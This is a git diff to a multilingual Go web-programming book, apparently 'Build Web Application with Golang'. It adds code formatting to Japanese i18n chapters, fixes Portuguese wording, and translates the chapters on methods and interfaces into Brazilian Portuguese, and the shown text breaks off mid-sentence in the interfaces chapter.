-URLアドレスをもっとRESTfulな見た目にしたいと思うかもしれません。例えば:www.asta.com/en/books(英語のサイト)とwww.asta.com/zh/books(中国語のサイト)。このような方法のURLはさらにSEOに効果的です。またユーザビリティもよく、URLから直感的にアクセスしているサイトを知ることができます。このようなURLアドレスはrouterを使ってlocaleを取得します(RESTの節でご紹介したrouterプラグインの実装をご参考ください): +URLアドレスをもっとRESTfulな見た目にしたいと思うかもしれません。例えば:`www.asta.com/en/books`(英語のサイト)と`www.asta.com/zh/books`(中国語のサイト)。このような方法のURLはさらにSEOに効果的です。またユーザビリティもよく、URLから直感的にアクセスしているサイトを知ることができます。このようなURLアドレスはrouterを使ってlocaleを取得します(RESTの節でご紹介したrouterプラグインの実装をご参考ください): mux.Get("/:locale/books", listbook) diff --git a/ja/10.2.md b/ja/10.2.md index 7db10062..75e73f63 100644 --- a/ja/10.2.md +++ b/ja/10.2.md @@ -35,7 +35,7 @@ } -上の例では異なるlocaleのテキストの翻訳を試みました。日本語と英語に対して同じkeyで異なる言語の実装を実現しています。上では中文のテキスト情報を実装しています。もし英語バージョンに切り替えたい場合は、lang設定をenにするだけです。 +上の例では異なるlocaleのテキストの翻訳を試みました。日本語と英語に対して同じkeyで異なる言語の実装を実現しています。上では中文のテキスト情報を実装しています。もし英語バージョンに切り替えたい場合は、lang設定を`en`にするだけです。 場合によってはkey-valueを切り替えるだけでは要求を満足できない場合があります。たとえば"I am 30 years old"といったような、日本語では"今年で30になります"となる場合、ここでの30は変数です。どうすればよいでしょうか?この時、`fmt.Printf`関数を組み合わせることで実装することができます。下のコードをご覧ください: @@ -52,7 +52,7 @@ 1. タイムゾーンの問題 2. フォーマットの問題 -$GOROOT/lib/timeパッケージのtimeinfo.zipにはlocaleに対応するタイムゾーンの定義が含まれています。対応する現在のlocaleの時間を取得するためには、まず`time.LoadLocation(name string)`を使用して対応するタイムゾーンのlocaleを取得します。例えば`Asia/Shanghai`または`America/Chicago`に対応するタイムゾーンデータです。その後、この情報を再利用し、`time.Now`をコールすることにより得られるTimeオブジェクトとあわせて最終的な時間を取得します。詳細は以下の例をご覧ください(この例では上のいくつかの変数を採用しています): +`$GOROOT/lib/time`パッケージのtimeinfo.zipにはlocaleに対応するタイムゾーンの定義が含まれています。対応する現在のlocaleの時間を取得するためには、まず`time.LoadLocation(name string)`を使用して対応するタイムゾーンのlocaleを取得します。例えば`Asia/Shanghai`または`America/Chicago`に対応するタイムゾーンデータです。その後、この情報を再利用し、`time.Now`をコールすることにより得られるTimeオブジェクトとあわせて最終的な時間を取得します。詳細は以下の例をご覧ください(この例では上のいくつかの変数を採用しています): en["time_zone"]="America/Chicago" cn["time_zone"]="Asia/Tokyo" @@ -115,7 +115,7 @@ Localeの違いによってビューを表示させる場合もあるかもし VV.Lang=lang s1.Execute(os.Stdout, VV) -またindex.tplの中リソースの設定は以下のとおりです: +また`index.tpl`の中リソースの設定は以下のとおりです: // jsファイル diff --git a/ja/10.3.md b/ja/10.3.md index ed517a3c..fd6c56b4 100644 --- a/ja/10.3.md +++ b/ja/10.3.md @@ -2,7 +2,7 @@ # 10.3 国際化サイト 前の節でどのようにしてローカライズリソースを処理するかご紹介しました。Localeに対応した設定ファイルです。ではもし複数のローカライズリソースを処理する場合は?いくつかの我々が通常使用する例は:簡単なテキスト翻訳、時間や日時、数字といったものはどのように処理するのでしょうか?この節では一つ一つこれらの問題を解決していきます。 ## 複数のロケールパッケージの管理 -アプリケーションをひとつ開発する時、まず決めなければならないのは、一つの言語だけをサポートすればよいのか、それとも多言語をサポートするのかということです。もし複数の言語のサポートする必要があれば、ある組織構成を作成することで、将来より多くの言語を追加できるようにしなければなりません。ここでは以下のように設計します:Localeに関係のあるファイルをconfig/localesの下に配置し、もし日本語と英語をサポートしなければならない場合は、このディレクトリの下にen.jsonとja.jsonを配置する必要があります。だいたいの内容は以下の通り: +アプリケーションをひとつ開発する時、まず決めなければならないのは、一つの言語だけをサポートすればよいのか、それとも多言語をサポートするのかということです。もし複数の言語のサポートする必要があれば、ある組織構成を作成することで、将来より多くの言語を追加できるようにしなければなりません。ここでは以下のように設計します:Localeに関係のあるファイルを`config/locales`の下に配置し、もし日本語と英語をサポートしなければならない場合は、このディレクトリの下にen.jsonとja.jsonを配置する必要があります。だいたいの内容は以下の通り: # ja.json @@ -22,7 +22,7 @@ } } -国際化をサポートするにあたって、ここでは国際化に関連したパッケージを使用することにします- - [go-i18n](https://github.com/astaxie/go-i18n)です。まずgo-i18nパッケージにconfig/localesのディレクトリを登録することで、すべてのlocaleファイルをロードします。 +国際化をサポートするにあたって、ここでは国際化に関連したパッケージを使用することにします- - [go-i18n](https://github.com/astaxie/go-i18n)です。まずgo-i18nパッケージに`config/locales`のディレクトリを登録することで、すべてのlocaleファイルをロードします。 Tr:=i18n.NewLocale() Tr.LoadPath("config/locales") diff --git a/ja/10.4.md b/ja/10.4.md index 6f14fe93..6421adf6 100644 --- a/ja/10.4.md +++ b/ja/10.4.md @@ -1,5 +1,5 @@ # 10.4 まとめ -この章の紹介を通じて、読者はどのようにしてi18nを操作するかに対して深く理解が得られたはずです。私もこの章の内容にもとづいてオープンソースのソリューションであるgo-i18nをご紹介しました:https://github.com/astaxie/go-i18n このオープンソースライブラリを通して多言語バージョンのWebアプリケーションを非常に簡単に実現することができ、我々のアプリケーションに気楽に国際化を実現させることができます。もしこのオープンソースライブラリに間違いや足りない部分があれば、ぜひこのオープンソースプロジェクトに参加することで、このライブラリがGoの標準ライブラリになるよう手助けしてください。 +この章の紹介を通じて、読者はどのようにしてi18nを操作するかに対して深く理解が得られたはずです。私もこの章の内容にもとづいてオープンソースのソリューションであるgo-i18nをご紹介しました:`https://github.com/astaxie/go-i18n` このオープンソースライブラリを通して多言語バージョンのWebアプリケーションを非常に簡単に実現することができ、我々のアプリケーションに気楽に国際化を実現させることができます。もしこのオープンソースライブラリに間違いや足りない部分があれば、ぜひこのオープンソースプロジェクトに参加することで、このライブラリがGoの標準ライブラリになるよう手助けしてください。 ## links * [目次]() * 前へ: [国際化サイト](<10.3.md>) diff --git a/pt-br/01.0.md b/pt-br/01.0.md index 73c4d71b..b072eed3 100644 --- a/pt-br/01.0.md +++ b/pt-br/01.0.md @@ -17,4 +17,4 @@ Nesse capitulo, vamos aprender a instalar e configurar nosso próprio ambiente d ## Links - [Sumário](preface.md) -- Próxima sessão: [Instalação](01.1.md) +- Próxima seção: [Instalação](01.1.md) diff --git a/pt-br/01.1.md b/pt-br/01.1.md index 38d9bbea..c5cc014e 100644 --- a/pt-br/01.1.md +++ b/pt-br/01.1.md @@ -123,5 +123,5 @@ Homebrew é o gerenciador de pacotes para MAC, para instalar o Go rode o comando ## Links - [Sumário](preface.md) -- Sessão anterior: [Configuração do ambiente de desenvolvimento](01.0.md) -- Próxima sessão: [$GOPATH e Workspace](01.2.md) +- Seção anterior: [Configuração do ambiente de desenvolvimento](01.0.md) +- Próxima seção: [$GOPATH e Workspace](01.2.md) diff --git a/pt-br/01.2.md b/pt-br/01.2.md index 8679ee73..2cc0ce5b 100644 --- a/pt-br/01.2.md +++ b/pt-br/01.2.md @@ -90,7 +90,7 @@ Para compilar nossa aplicação, deveremos alterar o código fonte de diretório ## Instalando pacotes remotamente -Go possui uma ferramente para utilizar pacotes remotos, chamada `go get`. Ela é suportada por grandes comunidades de código aberto, incluindo: Github, Google Code, Bitbucket e Launchpad. +Go possui uma ferramenta para utilizar pacotes remotos, chamada `go get`. Ela é suportada por grandes comunidades de código aberto, incluindo: Github, Google Code, Bitbucket e Launchpad. go get github.com/astaxie/beedb @@ -148,5 +148,5 @@ Agora que esclarecemos como Go gerencia dependencias e código fonte, vamos reca ## Links - [Sumário](preface.md) -- Sessão anterior: [Instalação](01.1.md) -- Próxima sessão: [Comandos em Go](01.3.md) +- Seção anterior: [Instalação](01.1.md) +- Próxima seção: [Comandos em Go](01.3.md) diff --git a/pt-br/01.3.md b/pt-br/01.3.md index 79f8a890..f19b4067 100644 --- a/pt-br/01.3.md +++ b/pt-br/01.3.md @@ -104,5 +104,5 @@ Mesmo sobre os comandos explicados até aqui, existem vários outros detalhes qu ## Links - [Sumário](preface.md) -- Sessão anterior: [$GOPATH e Workspace](01.2.md) -- Próxima sessão: [Ferramentas de desenvolvimento Go](01.4.md) +- Seção anterior: [$GOPATH e Workspace](01.2.md) +- Próxima seção: [Ferramentas de desenvolvimento Go](01.4.md) diff --git a/pt-br/01.4.md b/pt-br/01.4.md index 9f6a612f..78a20424 100644 --- a/pt-br/01.4.md +++ b/pt-br/01.4.md @@ -396,5 +396,5 @@ As pessoas que trabalham com Java tem familiaridade com este IDE. Ela também su ## Links - [Sumário](preface.md) -- Sessão anterior: [Comandos Go](01.3.md) -- Próxima sessão: [Resumo](01.5.md) +- Seção anterior: [Comandos Go](01.3.md) +- Próxima seção: [Resumo](01.5.md) diff --git a/pt-br/01.5.md b/pt-br/01.5.md index 325d4173..1c1277e0 100644 --- a/pt-br/01.5.md +++ b/pt-br/01.5.md @@ -7,5 +7,5 @@ Finalmente, foram apresentadas diversas ferramentas poderosas para o desenvolvim ## Links - [Sumário](preface.md) -- Sessão anterior: [Ferramentas para desenvolvimento Go](01.4.md) -- Próxima sessão: [Conhecimento básico de Go](02.0.md) +- Seção anterior: [Ferramentas para desenvolvimento Go](01.4.md) +- Próxima seção: [Conhecimento básico de Go](02.0.md) diff --git a/pt-br/02.0.md b/pt-br/02.0.md index c229dfbf..fc25049a 100644 --- a/pt-br/02.0.md +++ b/pt-br/02.0.md @@ -1,6 +1,6 @@ # 2 Conhecimento básico de Go -Go é uma linguagem de programação compilada e pertence a família da lingaugem C. Contudo, seu tempo de compilação é muito mais rápido do que outras linguagens da mesma família. Ela possui apenas 25 palavras-chave (palavras reservadas)...um número menor que as 26 letras do alfabeto inglês! (N. do T.: O alfabeto português oficialmente também possui 26 letras) Vamos dar uma olhada nessas palavras antes de começar. +Go é uma linguagem de programação compilada e pertence a família da linguagem C. Contudo, seu tempo de compilação é muito mais rápido do que outras linguagens da mesma família. Ela possui apenas 25 palavras-chave (palavras reservadas)...um número menor que as 26 letras do alfabeto inglês! (N. do T.: O alfabeto português oficialmente também possui 26 letras) Vamos dar uma olhada nessas palavras antes de começar. break default func interface select case defer go map struct @@ -13,5 +13,5 @@ Neste capítulo, vou ensinar o básico de Go. Você irá perceber o quanto ela ## Links - [Sumário](preface.md) -- Sessão anterior: [Resumo do Capítulo 1](01.5.md) -- Próxima sessão: ["Hello, Go"](02.1.md) +- Seção anterior: [Resumo do Capítulo 1](01.5.md) +- Próxima seção: ["Hello, Go"](02.1.md) diff --git a/pt-br/02.1.md b/pt-br/02.1.md index 3dd56c2a..5f6f6548 100644 --- a/pt-br/02.1.md +++ b/pt-br/02.1.md @@ -49,5 +49,5 @@ Go usa pacotes (semelhantes aos módulos em Python) para organizar os programas. ## Links - [Sumário](preface.md) -- Sessão anterior: [Conhecimento básico de Go](02.0.md) -- Próxima sessão: [Fundamentos Go](02.2.md) +- Seção anterior: [Conhecimento básico de Go](02.0.md) +- Próxima seção: [Fundamentos Go](02.2.md) diff --git a/pt-br/02.5.md b/pt-br/02.5.md index cc50b8af..be314716 100644 --- a/pt-br/02.5.md +++ b/pt-br/02.5.md @@ -1,10 +1,10 @@ -# Object-oriented +# Orientação a Objetos -We talked about functions and structs in the last two sections, but did you ever consider using functions as fields of a struct? In this section, I will introduce you to another form of function that has a receiver, which is called `method`. +Falamos sobre funções e estruturas nas duas últimas seções, mas você já considerou usar funções como campos de uma estrutura? Nesta seção, vou apresentá-lo a outra forma de função que possui um receptor, que é chamado `method` (método). ## method -Suppose you define a "rectangle" struct and you want to calculate its area. We'd typically use the following code to achieve this goal. +Suponha que você definiu uma estrutura "rectangle" (retângulo) e quer calcular a sua área. Geralmente, usamos o seguinte código para atingir esse objetivo. package main import "fmt" @@ -23,30 +23,30 @@ Suppose you define a "rectangle" struct and you want to calculate its area. We'd fmt.Println("Area of r1 is: ", area(r1)) fmt.Println("Area of r2 is: ", area(r2)) } - -The above example can calculate a rectangle's area. We use the function called `area`, but it's not a method of the rectangle struct (like class methods in classic object-oriented languages). The function and struct are two independent things as you may notice. -It's not a problem so far. However, if you also have to calculate the area of a circle, square, pentagon, or any other kind of shape, you are going to need to add additional functions with very similar names. +O exemplo acima pode calcular a área de um retângulo. Usamos a função chamada `area`, mas ela não é um método da estrutura rectangle (como métodos de classe em linguagens orientadas a objetos clássicas). A função e a estrutura são duas coisas independentes, como você pode notar. + +Isto não é um problema. Entretanto, se você também tem que calcular a área de um circulo, quadrado, pentágono ou qualquer outro tipo de forma, você vai precisar adicionar funções adicionais com nomes muito semelhantes. ![](images/2.5.rect_func_without_receiver.png?raw=true) -Figure 2.8 Relationship between function and struct +Figure 2.8 Relacionamento entre funções e estruturas -Obviously that's not cool. Also, the area should really be the property of a circle or rectangle. +Evidentemente, isso não é legal. Além disso, a área deve realmente ser a propriedade de um círculo ou retângulo. -For those reasons, we have the `method` concept. `method` is affiliated with type. It has the same syntax as functions do except for an additional parameter after the `func` keyword called the `receiver`, which is the main body of that method. +Por estas razões, temos o conceito de `method`. `method` é afiliado ao tipo. Ele possui a mesma sintaxe que as funções, exceto por um parâmetro adicional após a palavra-chave `func` chamada `receiver` (receptor), que é o corpo principal desse método. -Using the same example, `Rectangle.area()` belongs directly to rectangle, instead of as a peripheral function. More specifically, `length`, `width` and `area()` all belong to rectangle. +Usando o mesmo exemplo, `Rectangle.area()` pertence diretamente ao rectangle, em vez de ser uma função periférica. Mais especificamente, `length`, `width` e `area()` pertencem ao rectangle. -As Rob Pike said. +Como Rob Pike disse. - "A method is a function with an implicit first argument, called a receiver." - -Syntax of method. + "Um método é um função com um primeiro argumento implícito, chamado receptor." + +Sintaxe do método. func (r ReceiverType) funcName(parameters) (results) - -Let's change our example using `method` instead. + +Vamos mudar nosso exemplo usando `method` em vez disso. package main import ( @@ -81,28 +81,28 @@ Let's change our example using `method` instead. fmt.Println("Area of c1 is: ", c1.area()) fmt.Println("Area of c2 is: ", c2.area()) } - -Notes for using methods. -- If the name of methods are the same but they don't share the same receivers, they are not the same. -- Methods are able to access fields within receivers. -- Use `.` to call a method in the struct, the same way fields are called. +Notas para o uso de métodos. + +- Se os nomes dos métodos são os mesmos, mas eles não compartilham os mesmos receptores, eles não são os mesmos método. +- Métodos são capazes de acessar campos dentro de receptores. +- Use `.` para chamar um método na estrutura, da mesma forma que os campos são chamados. ![](images/2.5.shapes_func_with_receiver_cp.png?raw=true) -Figure 2.9 Methods are different in different structs +Figure 2.9 Métodos são diferentes em diferentes estruturas -In the example above, the area() methods belong to both Rectangle and Circle respectively, so the receivers are Rectangle and Circle. +No exemplo acima, os métodos area() pertencem ao Rectangle e ao Circle respectivamente, então os receptores são Rectangle e Circle. -One thing that's worth noting is that the method with a dotted line means the receiver is passed by value, not by reference. The difference between them is that a method can change its receiver's values when the receiver is passed by reference, and it gets a copy of the receiver when the receiver is passed by value. +Um ponto que vale notar é que o método com a linha pontilhada significa que o receptor é passado por valor, não por referência. A diferença entre eles é que um método pode mudar os valores do seu receptor quando o receptor é passado por referência, e outro recebe uma cópia do receptor quando o receptor é passado por valor. -Can the receiver only be a struct? Of course not. Any type can be the receiver of a method. You may be confused about customized types. Struct is a special kind of customized type -there are more customized types. +O receptor só pode ser uma estrutura? Claro que não. Qualquer tipo pode ser o receptor de um método. Você pode estar confuso sobre tipos customizados. Estrutura é um tipo especial de tipo customizado -há mais tipos customizado. -Use the following format to define a customized type. +Use o seguinte formato para definir um tipo customizado. type typeName typeLiteral - -Examples of customized types: + +Exemplos de tipos customizados: type ages int @@ -116,12 +116,12 @@ Examples of customized types: ... "December":31, } - -I hope that you know how to use customized types now. Similar to `typedef` in C, we use `ages` to substitute `int` in the above example. -Let's get back to talking about `method`. +Espero que você saiba usar tipos customizados agora. Semelhante ao `typedef` em C, usamos `ages` para substituir `int` no exemplo acima. -You can use as many methods in custom types as you want. +Vamos voltar a falar sobre `method`. + +Você pode usar quantos métodos quiser em tipos customizados. package main import "fmt" @@ -141,7 +141,7 @@ You can use as many methods in custom types as you want. color Color } - type BoxList []Box //a slice of boxes + type BoxList []Box //uma slice de caixas func (b Box) Volume() float64 { return b.width * b.height * b.depth @@ -195,36 +195,36 @@ You can use as many methods in custom types as you want. fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String()) } - -We define some constants and customized types. -- Use `Color` as alias of `byte`. -- Define a struct `Box` which has fields height, width, length and color. -- Define a struct `BoxList` which has `Box` as its field. +Definimos algumas constantes e tipos customizados. -Then we defined some methods for our customized types. +- Usamos `Color` como apelido para `byte`. +- Definimos uma estrutura `Box` que tem os campos height (altura), width (largura), length (comprimento) e color (cor). +- Definimos uma estrutura `BoxList` que tem `Box` como seu campo. -- Volume() uses Box as its receiver and returns volume of Box. -- SetColor(c Color) changes Box's color. -- BiggestsColor() returns the color which has the biggest volume. -- PaintItBlack() sets color for all Box in BoxList to black. -- String() use Color as its receiver, returns the string format of color name. +Então, definimos alguns métodos para os nossos tipos customizados. -Is it much clearer when we use words to describe our requirements? We often write our requirements before we start coding. +- Volume() usa Box como seu receptor e retorna o volume de Box. +- SetColor(c Color) muda a cor de Box. +- BiggestsColor() retorna a cor que possui o maior volume. +- PaintItBlack() define as cores das Box em BoxList para preto. +- String() usa Color como seu receptor e retorna a palavra formatada do nome da cor. -### Use pointer as receiver +É muito mais claro quando usamos palavras para descrever nosso requisitos? Frequentemente escrevemos nossos requisitos antes de começar a programar. -Let's take a look at `SetColor` method. Its receiver is a pointer of Box. Yes, you can use `*Box` as a receiver. Why do we use a pointer here? Because we want to change Box's color in this method. Thus, if we don't use a pointer, it will only change the value inside a copy of Box. +### Usando ponteiro como receptor -If we see that a receiver is the first argument of a method, it's not hard to understand how it works. +Vamos dar uma olhada no método `SetColor`. Seu receptor é um ponteiro de Box. Sim, você pode usar `*Box` como um receptor. Por que usamos um ponteiro aqui? Porque queremos mudar as cores de Box neste método. Assim, se não usarmos um ponteiro, ele só mudará o valor dentro de um cópia de Box. -You might be asking why we aren't using `(*b).Color=c` instead of `b.Color=c` in the SetColor() method. Either one is OK here because Go knows how to interpret the assignment. Do you think Go is more fascinating now? +Se vemos que um receptor é o primeiro argumento de um método, não é difícil entender como ele funciona. -You may also be asking whether we should use `(&bl[i]).SetColor(BLACK)` in `PaintItBlack` because we pass a pointer to `SetColor`. Again, either one is OK because Go knows how to interpret it! +Você deve estar perguntando por que não estamos usando `(*b).Color=c` em vez de `b.Color=c` no método SetColor(). Qualquer um está OK aqui porque GO sabe como interpretar a atribuição. Você acha que Go é mais fascinante agora? -### Inheritance of method +Você também deve estar se perguntando se devemos usar `(&bl[i]).SetColor(BLACK)` em `PaintItBlack` porque passamos um ponteiro para `SetColor`. Novamente, qualquer um está OK porque Go sabe como interpretá-lo! -We learned about inheritance of fields in the last section. Similarly, we also have method inheritance in Go. If an anonymous field has methods, then the struct that contains the field will have all the methods from it as well. +### Herança do Método + +Aprendemos sobre herança de campos na última seção. Similarmente, também temos herança de método em Go. Se um campo anônimo tiver métodos, então a estrutura que contém o campo terá todos os métodos dele também. package main import "fmt" @@ -236,16 +236,16 @@ We learned about inheritance of fields in the last section. Similarly, we also h } type Student struct { - Human // anonymous field + Human // campo anônimo school string } type Employee struct { - Human + Human company string } - // define a method in Human + // define um método em Human func (h *Human) SayHi() { fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) } @@ -258,9 +258,9 @@ We learned about inheritance of fields in the last section. Similarly, we also h sam.SayHi() } -### Method overload +### Sobrecarga de Método -If we want Employee to have its own method `SayHi`, we can define a method that has the same name in Employee, and it will hide `SayHi` in Human when we call it. +Se quisermos que Employee tenha seu próprio método `SayHi`, podemos definir um método com o mesmo nome em Employee, e ele irá sobrescrever `SayHi` em Human quando nós o chamarmos. package main import "fmt" @@ -272,12 +272,12 @@ If we want Employee to have its own method `SayHi`, we can define a method that } type Student struct { - Human + Human school string } type Employee struct { - Human + Human company string } @@ -287,7 +287,7 @@ If we want Employee to have its own method `SayHi`, we can define a method that func (e *Employee) SayHi() { fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, - e.company, e.phone) //Yes you can split into 2 lines here. + e.company, e.phone) //Sim, você pode dividir em 2 linhas aqui. } func main() { @@ -297,11 +297,11 @@ If we want Employee to have its own method `SayHi`, we can define a method that mark.SayHi() sam.SayHi() } - -You are able to write an Object-oriented program now, and methods use rule of capital letter to decide whether public or private as well. + +Você é capaz de escrever um programa Orientado a Objetos agora, e os métodos usam a regra de capital letter (letra maiúscula) para decidir se é público ou privado também. ## Links -- [Directory](preface.md) -- Previous section: [struct](02.4.md) -- Next section: [interface](02.6.md) +- [Sumário](preface.md) +- Seção Anterior: [Estrutura](02.4.md) +- Próxima Seção: [Interface](02.6.md) diff --git a/pt-br/02.6.md b/pt-br/02.6.md index ec7196af..6d882f78 100644 --- a/pt-br/02.6.md +++ b/pt-br/02.6.md @@ -2,23 +2,23 @@ ## Interface -One of the subtlest design features in Go are interfaces. After reading this section, you will likely be impressed by their implementation. +Uma das características de projeto mais sutil em Go são interfaces. Depois de ler esta seção, você provavelmente ficará impressionado com sua implementação. -### What is an interface +### O que é uma interface -In short, an interface is a set of methods that we use to define a set of actions. +Resumidamente, uma interface é um conjunto de métodos que usamos para definir um conjunto de ações. -Like the examples in previous sections, both Student and Employee can `SayHi()`, but they don't do the same thing. +Como os exemplos nas seções anteriores, tanto Student (Estudante) quanto Employee (Empregado) podem `SayHi()` (DigaOi()), mas não fazem a mesma coisa. -Let's do some more work. We'll add one more method `Sing()` to them, along with the `BorrowMoney()` method to Student and the `SpendSalary()` method to Employee. +Vamos fazer mais trabalho. Vamos adicionar mais um método `Sing()` (Cantar()) para eles, juntamente com o método `BorrowMoney()` (EmprestarDinheiro()) para Student e `SpendSalary()` (GastarSalario()) para Employee. -Now, Student has three methods called `SayHi()`, `Sing()` and `BorrowMoney()`, and Employee has `SayHi()`, `Sing()` and `SpendSalary()`. +Agora, Student tem três métodos chamados `SayHi()`, `Sing()` e `BorrowMoney()`, e Employee tem `SayHi()`, `Sing()` e `SpendSalary()`. -This combination of methods is called an interface and is implemented by both Student and Employee. So, Student and Employee implement the interface: `SayHi()` and `Sing()`. At the same time, Employee doesn't implement the interface: `SayHi()`, `Sing()`, `BorrowMoney()`, and Student doesn't implement the interface: `SayHi()`, `Sing()`, `SpendSalary()`. This is because Employee doesn't have the method `BorrowMoney()` and Student doesn't have the method `SpendSalary()`. +Esta combinação de métodos é chamada de interface e é implementada por ambos Student e Employee. Então, Student e Employee implementam a interface: `SayHi()` e `Sing()`. Ao mesmo tempo, Employee não implementa a interface: `SayHi()`, `Sing()`, `BorrowMoney()`, e Student não implementa a interface: `SayHi()`, `Sing()`, `SpendSalary()`. Isso ocorre porque Employee não tem o método `BorrowMoney()` e Student não tem o método `SpendSalary()`. -### Type of Interface +### Tipo de Interface -An interface defines a set of methods, so if a type implements all the methods we say that it implements the interface. +Uma interface define um conjunto de métodos, portanto, se um tipo implementa todos os métodos, dizemos que ele implementa a interface. type Human struct { name string @@ -50,18 +50,18 @@ An interface defines a set of methods, so if a type implements all the methods w fmt.Println("Guzzle Guzzle Guzzle...", beerStein) } - // Employee overloads Sayhi + // Employee sobrecarrega Sayhi func (e *Employee) SayHi() { fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, - e.company, e.phone) //Yes you can split into 2 lines here. + e.company, e.phone) // Sim, você pode dividir em 2 linhas aqui. } func (s *Student) BorrowMoney(amount float32) { - s.loan += amount // (again and again and...) + s.loan += amount // (novamente e novamente e...) } func (e *Employee) SpendSalary(amount float32) { - e.money -= amount // More vodka please!!! Get me through the day! + e.money -= amount // Mais vodka por favor!!! Para aguentar o dia! (More vodka please!!! Get me through the day!) } // define interface @@ -83,117 +83,117 @@ An interface defines a set of methods, so if a type implements all the methods w SpendSalary(amount float32) } -We know that an interface can be implemented by any type, and one type can implement many interfaces simultaneously. +Sabemos que uma interface pode ser implementada por qualquer tipo, e um tipo pode implementar muitas interfaces simultaneamente. -Note that any type implements the empty interface `interface{}` because it doesn't have any methods and all types have zero methods by default. +Observe que qualquer tipo implementa a interface vazia `interface{}` porque ela não tem nenhum método e todos os tipos possuem zero métodos por padrão. -### Value of interface +### Valor da interface -So what kind of values can be put in the interface? If we define a variable as a type interface, any type that implements the interface can assigned to this variable. +Então, que tipo de valores podem ser colocados na interface? Se definirmos uma variável como uma interface de tipo, qualquer tipo que implemente a interface pode ser atribuído a essa variável. -Like the above example, if we define a variable "m" as interface Men, then any one of Student, Human or Employee can be assigned to "m". So we could have a slice of Men, and any type that implements interface Men can assign to this slice. Be aware however that the slice of interface doesn't have the same behavior as a slice of other types. +Como no exemplo acima, se definirmos uma variável "m" como interface Men, então qualquer Student, Human ou Employee pode ser atribuído a "m". Então nós poderíamos ter um slice de Men, e qualquer tipo que implemente a interface Men pode atribuir a este slice. Lembre-se no entanto que o slice da interface não tem o mesmo comportamento de uma slice de outros tipos. package main - + import "fmt" - + type Human struct { name string age int phone string } - + type Student struct { Human school string loan float32 } - + type Employee struct { Human company string money float32 } - + func (h Human) SayHi() { fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) } - + func (h Human) Sing(lyrics string) { fmt.Println("La la la la...", lyrics) } - + func (e Employee) SayHi() { fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, - e.company, e.phone) //Yes you can split into 2 lines here. + e.company, e.phone) // Sim, você pode dividir em 2 linhas aqui. } - - // Interface Men implemented by Human, Student and Employee + + // Interface Men implementada por Human, Student e Employee type Men interface { SayHi() Sing(lyrics string) } - + func main() { mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100} sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000} tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000} - + // define interface i var i Men - - //i can store Student + + // posso armazenar Student i = mike fmt.Println("This is Mike, a Student:") i.SayHi() i.Sing("November rain") - - //i can store Employee + + // posso armazenar Employee i = tom fmt.Println("This is Tom, an Employee:") i.SayHi() i.Sing("Born to be wild") - - // slice of Men + + // slice de Men fmt.Println("Let's use a slice of Men and see what happens") x := make([]Men, 3) - // these three elements are different types but they all implemented interface Men + // Estes três elementos são de tipos diferentes, mas todos eles implementam a interface Men x[0], x[1], x[2] = paul, sam, mike - + for _, value := range x { value.SayHi() } } - -An interface is a set of abstract methods, and can be implemented by non-interface types. It cannot therefore implement itself. -### Empty interface +Uma interface é um conjunto de métodos abstratos, e pode ser implementada por tipos não interface. Não pode, portanto, implementar-se. -An empty interface is an interface that doesn't contain any methods, so all types implement an empty interface. This fact is very useful when we want to store all types at some point, and is similar to void* in C. +### Interface vazia - // define a as empty interface +Uma interface vazia é uma interface que não contém nenhum método, portanto, todos os tipos implementam uma interface vazia. Esse fato é muito útil quando queremos armazenar todos os tipos em algum momento, e é semelhante ao void* em C. + + // define a como interface vazia var a interface{} var i int = 5 s := "Hello world" - // a can store value of any type + // a pode armazenar valor de qualquer tipo a = i a = s -If a function uses an empty interface as its argument type, it can accept any type; if a function uses empty interface as its return value type, it can return any type. +Se uma função usa uma interface vazia como seu tipo de argumento, ela pode aceitar qualquer tipo; Se uma função usa a interface vazia como seu tipo de valor de retorno, ela pode retorna qualquer tipo. -### Method arguments of an interface +### Argumentos de métodos de uma interface -Any variable can be used in an interface. So how can we use this feature to pass any type of variable to a function? +Qualquer variável pode ser usada em uma interface. Então, como podemos usar esse recurso para passar qualquer tipo de variável para uma função? -For example we use fmt.Println a lot, but have you ever noticed that it can accept any type of argument? Looking at the open source code of fmt, we see the following definition. +Por exemplo, usamos muito fmt.Println, mas você já notou que ele pode aceitar qualquer tipo de argumento? Olhando para o código aberto de fmt, vemos a seguinte definição. type Stringer interface { String() string } - -This means any type that implements interface Stringer can be passed to fmt.Println as an argument. Let's prove it. + +Isso significa que qualquer tipo que implemente a interface Stringer pode ser passada para fmt.Println como um argumento. Vamos provar isso. package main @@ -208,7 +208,7 @@ This means any type that implements interface Stringer can be passed to fmt.Prin phone string } - // Human implemented fmt.Stringer + // Human implementa fmt.Stringer func (h Human) String() string { return "Name:" + h.name + ", Age:" + strconv.Itoa(h.age) + " years, Contact:" + h.phone } @@ -218,51 +218,51 @@ This means any type that implements interface Stringer can be passed to fmt.Prin fmt.Println("This Human is : ", Bob) } - -Looking back to the example of Box, you will find that Color implements interface Stringer as well, so we are able to customize the print format. If we don't implement this interface, fmt.Println prints the type with its default format. + +Olhando para o exemplo anterior de Box (Caixa), você verá que Color (Cor) implementa a interface Stringer também, assim que somos capazes de personalizar o formato de impressão. Se não implementarmos essa interface, fmt.Println imprime o tipo com seu formato padrão. fmt.Println("The biggest one is", boxes.BiggestsColor().String()) fmt.Println("The biggest one is", boxes.BiggestsColor()) - -Attention: If the type implemented the interface `error`, fmt will call `error()`, so you don't have to implement Stringer at this point. -### Type of variable in an interface +Atenção: Se o tipo implementa a interface `error`, fmt chamará `error()`, então você não tem que implementar Stringer neste momento. -If a variable is the type that implements an interface, we know that any other type that implements the same interface can be assigned to this variable. The question is how can we know the specific type stored in the interface. There are two ways which I will show you. +### Tipo de variável em uma interface -- Assertion of Comma-ok pattern +Se uma variável é o tipo que implementa uma interface, sabemos que qualquer outro tipo que implementa a mesma interface pode ser atribuído a essa variável. A questão é como podemos saber o tipo específico armazenado na interface. Há duas maneiras que vou lhe mostrar. -Go has the syntax `value, ok := element.(T)`. This checks to see if the variable is the type that we expect, where "value" is the value of the variable, "ok" is a 